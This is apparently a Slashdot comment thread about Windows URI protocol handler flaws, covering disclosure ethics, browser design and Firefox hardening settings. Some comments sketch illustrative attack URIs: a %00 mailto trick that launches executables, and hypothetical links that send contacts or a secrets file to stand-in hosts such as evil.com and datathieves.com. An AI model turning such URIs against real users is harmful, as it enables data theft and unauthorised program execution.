New URI Browser Flaws Worse Than First Thought

narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"

Oh my

[zmotula (663798)]

There is not a SINGLE technical detail about the bug in the article. The first paragraph pretty much says it all:

Security researchers Billy Rios and Nathan McFeters say they've discovered a new way that the URI (Uniform Resource Identifier) protocol handler technology, used by Windows to launch programs through the browser, can be misused to steal data from a victim's computer.

It is impossible to say whether this bug is really exploitable, whether it matters at all. So far they ("security researchers") can be only getting a free publicity. Is this news for nerds?

Re:

[jkrise (535370)]

There is not a SINGLE technical detail about the bug in the article. The first paragraph pretty much says it all

If you actually read through till the last para, you ill note that the bug has something to do with Microsoft, Registry, Internet Explorer and registering programs.

Re:Oh my

[Intron (870560)]

mozilla bug 389580

"On Windows XP some urls for "web" protocols that contain %00 launch the wrong
handler and appear to be able to launch local programs, with limited argument
passing. It is not yet clear that this can be used to compromise a machine but
we can always fear the worst.

The same behavior is observed using "Run" from the Windows Start menu for the
affected protocols (http, https, ftp, gopher, telnet, mailto, news, snews,
nttp, possibly others?).

The behavior seems to be that if there's a %00 in the URL for these schemes
then the URL Protocol handler is not called, instead the FileType handler is
called based on the extension of the full url. The url is then passed to that
File handler. For "non-web" URL handlers the URL is passed to the expected
handler.

In Firefox browser protocols are handled internally so are not vulnerable, but
the mailnews protocols are handed off to the OS and can be abused in this way."

====
So you can construct a uri like: "mailto:/...%00...something.exe"
Firefox sees mailto and hands it to Windows to give it to the mail program
Windows sees %00 and mistakenly hands it to the FileType handler.
The FileType handler sees ".exe" and runs the program.

Re:

[hanshotfirst (851936)]

There is not a SINGLE technical detail about the bug in the article.

That's on purpose - they don't want their article to give hackers any real direction on how to exploit it. From TFA..."Rios and McFetters plan to release the results of their research after the vendor has had a chance to fix the problem".

Yes, this is news for nerds - I know I'll be avoiding the URI protocol cautiously, if at all. I am duly informed. (Of course a real nerd would have known this already, so I have to turn in my card, I g

Re:Oh my

[martin-boundary (547041)]

That's on purpose - they don't want their article to give hackers any real direction on how to exploit it.

Sorry, but that's bullshit. Anyone can say they discovered an exploit, heck I discovered 14 just today while brushing my teeth :)

The only thing that happens when people "claim" to have discovered an exploit without proof is that a lot of gullible people start panicking and unscrupulous reporters and bloggers who'll propagate the rumour for weeks. It's like yelling "fire" in a crowded room.

If they really have an exploit, they should just share it or STFU. There's enough garbage information on the internet as is, there's no need for them to the dung pile.

Re:Oh my

[CaymanIslandCarpedie (868408)]

Patience grasshopper, details will be released soon enough. Their method of reporting seems to be becoming kind of an accepted best practice for "responsible reporting" of bugs. I fully support ones right to just release day 0 exploit sample code if they so choose, though I don't think it's the best idea. It seems notifying the makers of effected software at roughly same time as releasing very high level information about the exploit is becoming the best way to both avoid in the wild attacks as well as ensure the issue is addressed.

In this case, additional researchers have even verified the issue after the initial report. If you still don't believe there is an issue (fair enough it's good to be skeptical), you can always do a tad of research into these researches history to help decide if you think they are trustworthy or not. If still that isn't enough, well then I guess you'll have to just find these issues yourself and you can publish anything you want about them. Until then the researchers who find an issue should have the right to handle it any way they choose. They don't answer to you.

It's like yelling "fire" in a crowded room.

Seems more like they are more warning that there is a pile of debris in the room which could be a fire hazard. You suggestion would be more like noticing that fire hazard and deciding to dump gas on it and then toss on a match.

Re:

[martin-boundary (547041)]

Why should the onus be on others to check their work for them? Can't they check their own work before making an announcement?

It's very nice of them if they want to give the vendors time to fix their software, but they should announce their results _after_ the patch is ready in that case. Announcing early and claiming "responsible reporting" while not explaining enough for users to protect themselves is a publicity stunt.

Here's a few things that I think are wrong with the "responsible reporting" idea: it

Re:Oh my

[CaymanIslandCarpedie (868408)]

These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.

I don't think either of those suggestions are "bad", just that sadly they have historically had thier own issues which at least in many peoples opinions outway the gains of those methods.

"announce with proof ASAP" - sadly history shows that when this is done unscrupulous people will then take that knowledge and use it to create malware which can cause MAJOR damage. This is why there has been talk of even making this illegal (which I COMPLETELY disagree with). It is true that "with proof" a tiny percentage of the computer using population will be able to avoid the issue. However, the VAST majority still won't even hear of the issue (as they don't follow such news) let alone know what to do about it. The result is hackers are given the gift of complete knowledge of an exploit which many millions of computers and users will have no defense against.

"announce once a patch is ready" - again sadly it has been shown over and over again that many (if not most) products will not put the urgency into a security fix unless there is public pressure to do so. This has certainly improved greatly over the last decade, but I still don't think we are at a point where we can trust them on this without pressure.

There is a fairly popular variation on your second idea which is to notify the software developer but don't announce until you have given them reasonable time to patch it. This will give them the chance to do the "right thing" on thier own without the public pressure but researchers can still release the information later if they feel the patch is too long in coming.

I actually do prefer that option, but there is the arguement that a company will never feel quite the sense of urgency as they would when an overview of the issue hits the media. And it follows that then the patch will take longer and someone less than altruistic could also find the same issue in the mean time and release an exploit.

I don't have a real strong preference between the options of notify the software developers first and wait a reasonable amount of time, or notify and release high level overview at the same time. I'd actually probably have a slight preference for the former, but it does seem the later is the more popular. Probably for the reasons you give, that they want to be sure they are given the credit (and attention) of the find ;-)

Re:

[MikeBabcock (65886)]

You don't need to provide a working example to explain the details. They could be saying something like:

if you've installed vulnerable 3rd party url handlers, clicking malformed urls could lead to exploits

in which case I don't care at all.

I'm sure there are people who install 3rd party URL handlers as willy nilly as they install free screensavers and weather applets, but I don't, and neither should they, so again, I don't care.

If on the other hand they're saying there's a URI parsing error in major browse

Re:Oh my

[Opportunist (166417)]

I have a working example here on my desk. The problem is it's so effing trivial that it's not even funny. Unlike buffer overflows or other exploits that at least require some kind of understanding, this requires a trained monkey who can use a keyboard.

I'm usually all for the spread of information, but this has the potential to be a scriptkiddy's wet dream. And as I've stated before, I don't fear the hacker, I fear the scriptkiddy. Not because he's smart, but because he's many and he drowns you simply with quantity, not quality.

Care to provide details?

[brunes69 (86786)]

Is your "working example" remotely installable?

I am anxious to see how these guys plan to remotely install a URI handler into the registry without any user intervention, unless they are using some other remote exploit, in which case THAT is the actual bug.

Re:

[by Anonymous Coward]

For those living under a rock: Many applications, including Firefox, install URI handlers by default. Many applications, including Firefox, have no or insufficient safeguards against dangerous URIs which are passed to them that way. Many applications, which render arbitrary remote data, can activate URI handlers with arbitrary URIs, often with no or trivial user interaction. If you think that is fine, you shouldn't dispense security advice.

Re:

[Alphager (957739)]

The thing is: URIs are handled by the OS (in this case : Windows). It does not matter if you use Firefox, Internet Explorer, Word or OpenOffice: They all use the system's URI-handler.

Re:

[Opportunist (166417)]

Basically what it does is to make an assumption that a certain application exists on your system. An application that's exploitable through the use of malformed links, or malformed data hitting the application when you follow that link. Certainly, you are perfectly safe if you do not happen to have this application installed.

Re:Oh my

[Fred_A (10934)]

There is not a SINGLE technical detail about the bug in the article.

Except that this is (yet again) a Windows only problem, a fact which the summary could have pointed out thus saving me the effort of browsing the article (and having to kill that stupid ad iframe I couldn't even close).

Re:Here it is

[SolitaryMan (538416)]

This is the clear indication of problem being a Windows only:

...Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox.

Guess what is this mysterious "browser" thing.

Re:

[MrNaz (730548)]

It's because the whole idea of launching apps on the user's computer with whatever parameters one wants is really, only one step away from executing arbitrary code.

Think
callto://skypeuser?some&params&that&induce&sending &contacts&someone&else

Or something similar. I think the MS guy shouldn't have said "We at MS don't think we should be responsible for this" as it sounds like they *could* do something if they wanted. He really should have said "We can't stop stupid software makers

Re:

[nagora (177841)]

it's the whole concept of custom URI handlers that is a security nightmare

Why?

Because the more protocols your browser handles the less likely you are to know what's strange behaviour. The user gets a "learnt helplessness" response and just clicks on "OK" - or the equivilent - when they don't recognise what's happening because they've become used to not recognising what's happening.

A web browser should ONLY handle HTTP. Not FTP, not sFTP, not POP3, IMAP, or SMTP, not BitTorrent, not RealPlay, etc etc. By

Re:

[Macthorpe (960048)]

And yet this problem would be solved if Firefox didn't register a URI at all. Or it actually vetted data that was passed to that URI.

Surprisingly it's not a problem if Firefox isn't installed.

Problem is not Firefox.

[twitter (104583)]

M$ Defender, Macthorpe claims what M$ won't directly:

Surprisingly it's not a problem if Firefox isn't installed.

Not even this highly spun article goes that far.

Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox using this technology. This bug allowed an attacker to run unauthorized software on a victim's PC. Later, other researchers, including Rios and McFetters, showed how other browsers and applications could be misused to achieve similar goals.

So IE, mention

Re:

[dedazo (737510)]

This has nothing to do with IE7. The URI handler functionality is something that has existed since Windows 98. Where do you think KDE got the bright idea for kioslaves? As long as you are responsible enough to check your inputs (which apparently IE6 and 7 and Opera do) then there shouldn't be any problem.

You can stop trying to imply that this is some sort of sabotage by Microsoft, considering they'd be sabotaging themselves in the process. No different to your dumb claim that they "sabotaged" ACPI.

FTA:

[tygerstripes (832644)]

By using these custom URI protocol names, software developers are trying to make lives easier for their customers.

The article also states that this is a "hacker's dream and a programmer's nightmare".

When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."

Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.

Re:

[a.d.trick (894813)]

Nobody does - it was a stupid thing to include in the first place

First off, it was called firefoxurl://. Second, it is used - by Windows. This is part of what is required when registering a browser on that OS. It's pretty important if you want to set Firefox as the default browser.

News?

[Opportunist (166417)]

"It's a hacker's dream and programmer's nightmare," said Eric Schultze, chief security architect with Shavlik Technologies LLC. "I think over the next six to nine months, hackers are going to find lots of ways to exploit standard applications to do non-standard functions."

That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com [gentoo.org]).

The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.

Re:News?

[ozmanjusri (601766)]

Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: www.microsoft.com.

Thanks dude!

I installed that update to XP, and now my computer runs like a dream. Microsoft finally got it right!

Re:News?

[Opportunist (166417)]

You should check out their new browser too, at IE7.com [ie7.com]. It's really amazing! I don't know what they did, but even the exploits that should work on Internet Explorer 7 don't!

Re:News?

[tygerstripes (832644)]

You installed Gentoo in less than 48 hours? Christ, how times change...

Re:

[walt-sjc (145127)]

When you hover over your example link, it shows where you are really going.

When you use Evil JavaScript(tm) you can REALLY fuck with the user, who will have NO idea where the link goes, which is why tools like NoScript are so important. Don't surf naked - use NoScript [noscript.net]. Don't get me wrong, javascript can be useful, but so many sites use it gratuitously. They use it for things like roll-over highlighting, when CSS does it cleaner with less code. Most sites I visit seem to use javascript now. Less than half ac

Re:

[Opportunist (166417)]

JS is mostly used as a gadget to "enhance" a site (read: Make it so flashy that nobody notices the lack of content). Like so many other technologies that clutter our pages today.

Take Flash. Yes, it can actually be put to good use. Pages have used it to really increase the usability and accessability of the content. But most just use it to create a flashy show to hide the lack of content or meaning.

And yes, noscript and other security tools are important. But until this gets through to the clickmonkeys, it w

Responsible application launching

[JosefAssad (1138611)]

Some of the discussion around this issue revolves around URI validation. Given that third parties can assign their own handlers, I don't think it's the browser's job to validate URIs, but it can provide the facilities to do so.

It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.

I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.

Re:

[Opportunist (166417)]

I don't think browsers are going to stop being capable of launching applications overnight

Then how about letting me, the user, decide? Instead of simply activating everything, ask me whether I want a certain application to launch? I think I remember seeing something like this in a browser, forgot which one it was... FF, I think.

Re:

[Constantine XVI (880691)]

In Opera:<br>
click on a "special" link, like <URL:ed2k://|file|ubuntu-7.04-desktop-i386.[conten t.emule-project.net].iso|731797504|E239215147FA03E 5DB3D6C816291BFCA|/> (If you look at that URI, it's for an ed2k download of Ubuntu 7.04)<br>
Opera says: "Would you like to open $PROGRAM to use this link?"

Re:

[betterunixthanunix (980855)]

Really? Because I use Konqueror's URI handlers for all of this: sftp, zip, tar, http, https, and ftp, and they are all useful. The problem with the Windows URI bug is that it allows an attacker to launch arbitrary programs, even programs without registered URI handlers, by passing arguments to certain registered programs (at least that is how I understand this vulnerability). It would be like using one of my KDE URI handlers to open a terminal; a malicious website could use that to start executing rando

Whew...

[Spy der Mann (805235)]

Good thing I use Firefox and not that "URI browser". I feel safe.

Re:

[Carthag (643047)]

Don't be too careless. Apparently the URI Browser can be tricked into sending malicious data to Firefox!!

OT

[Opportunist (166417)]

Mind if I linked to your journal entry next time I need to write something about security? It would save me a lot of typing...

Yeah, yeah

[nagora (177841)]

It'll be a cold day in hell before I take security advice from a bunch of crooks like Ernst & Young. Presumably there's some obscure way they can make money out of this announcement.

Custom prefixes... blah!

[billcopc (196330)]

This is just an expansion (or rehash) of the exploit using custom "protocol" prefixes (the http:/// [http] part). Now I must be on different intertubes than the rest of y'all, because I hardly ever (read: never) see anything but http, ftp and mailto in the links I use, and I build both public (as in gimmicky) web sites and business apps for a living. Anything else should be handled by a browser PLUGIN, not some creaky registry hack that can spawn any random process. The difference should be obvious: you can hav

It's called a URI

[brunes69 (86786)]

It's part of the protocol. Any link on any web page should be able to specify ANY protocol.

Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?

The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.

Non story.

It's not stupid.

[argent (18001)]

The problem is that there's no way on Windows or OSX to register a protocol handler for shell programs (Finder, Windows Explorer, the KDE file manager) or applications internal use (help: on both Windows and OSX) without it also being available to the web browsers. This means that any application that isn't designed to deal with untrusted input that the browser developer hasn't yet explicitly blocked is a point of entry.

Exploits using this approach have been found via IE since 1997, and via Safari since 200

A microsoft education for end users

[bl8n8r (649187)]

> Microsoft is working to educate users and developers about these security issues

Yep. We know all about Microsoft's education*:

In no event shall microsoft or its suppliers be liable for any special, incidental, punitive, indirect, or consequential damages whatsoever (including, but not limited to, damages for loss of profits or confidential or other information, for business interruption, for personal injury, for loss of privacy, for failure to meet any duty including of good faith or of reasonable care

Damn!

[rdrd (1142449)]

I just pressed on that "slashdot://it.slashdot.org" link !!!

Want to disable it alltogether ?

[by Anonymous Coward]

Goto about:config and

set network.protocol-handler.expose-all to false,
network.protocol-handler.expose.http to true,
network.protocol-handler.expose.javascript to true,
network.protocol-handler.expose.mailto to true and
remove all other network.protocol-handler.expose.*entries (or set them to false).

Set network.protocol-handler.external-default to false,
network.protocol-handler.external.mailto to true and
remove all other network.protocol-handler.external.* entries (of set them to false).

To be sure set network.protocol-handler.warn-external.file to true and
remove all network.protocol-handler.warn-external.* entries (or set them to true).

For more info start at http://kb.mozillazine.org/Network.protocol-handler .expose-all [mozillazine.org]
Beware, on windows things are different. See http://kb.mozillazine.org/Register_protocol [mozillazine.org]

Re:Web 2.0 developers have betrayed us all

[Phroggy (441)]

And this is the end result of their hubris.

AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at.

I know I shouldn't feed the trolls, but... you're a fool. This has nothing to do with AJAX or Web 2.0, this has to do with exploiting security holes that have probably been around for over a decade. But more than that: yes, AJAX is useful. When used properly, it can allow you to build a web site that is more powerful and easy-to-use than anything you could do without AJAX. Slashdot's new AJAX-based comment system is definitely an improvement, for example.

Re:

[by Anonymous Coward]

No, there is a connection to AJAX: The promise of Web 2.0 is to turn the web browser into an application host. It used to be a browser for information provided by others. It has become a framework for entering and organizing personal information. The security model of a web browser is very fragile and not at all adequate for an application which handles personal data. Everybody flogged Microsoft for trying to merge the desktop and the browser, because that creates an unmanageable mess. Now the web 2.0 crowd

Re:Web 2.0 developers have betrayed us all

[MrNaz (730548)]

Yea, that'd be pointless. Blue wins hands down.

Re:Web 2.0 developers have betrayed us all

[DrSkwid (118965)]

> AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used.

Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.h tml [w3.org]
HTTPXmlRequests should use those methods as described. It's not the fault of the technology,

HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.

These flaws don't need XmlHttprequest, is also likely to be a vector

Re:What is the OS coverage?

[IBBoard (1128019)]

Only it's not that the application may have a bug, but that it may have an intentional feature that is useful for users that can then be exploited through a link. It might have less security than it should, but that's poor planning and not a bug.

Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest /some/path/here". Nice and useful for when you're migrating settings on your own desktop. Now assume that Skype also lets you export to your website so that you can publish it to your site, so you can put a HTTP in there. Now assume that users have complained about popups prompting them and that they want a batch mode that lets them export each night to make sure they never lose data - so it doesn't prompt.

You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript [example.com] --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/my backupscript&batch-mode". That 'feature' is now being exploited to export your contacts to an arbitrary site without you even necessarily knowing.

I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.

Re:

[PhilHibbs (4537)]

It doesn't have to be a bug, it just has to be a poorly-thought-out feature. For instance, a file transfer application that can be invoked from a handler, e.g. clicking sender:source=c:/secrets.txt?target=http://datathi eves.com on a web page could invoke the "sender" handler application to send your secrets.txt to datathieves.com - is this a bug, or just a stupid application doing something unfortunate?

Re:

[by Anonymous Coward]

Don't forget Mac and Linux. The ability to register a custom protocol handler to launch programs in the OS is standard. The ability to reference said protocol handler in a hyperlink is also standard. These problems effect every (major) OS.

MacOSX has had a number of vulnerabilities due to URI handling:

Daring Fireball - Using the 'telnet' URI Protocol to Delete Files [daringfireball.net]
Mac OS X Volume URI Handler Registration Code Execution Vulnerability [secunia.com]
Apple Mac OS X SSH URI Handler Remote Code Execution Vulnerability [securityfocus.com]

As long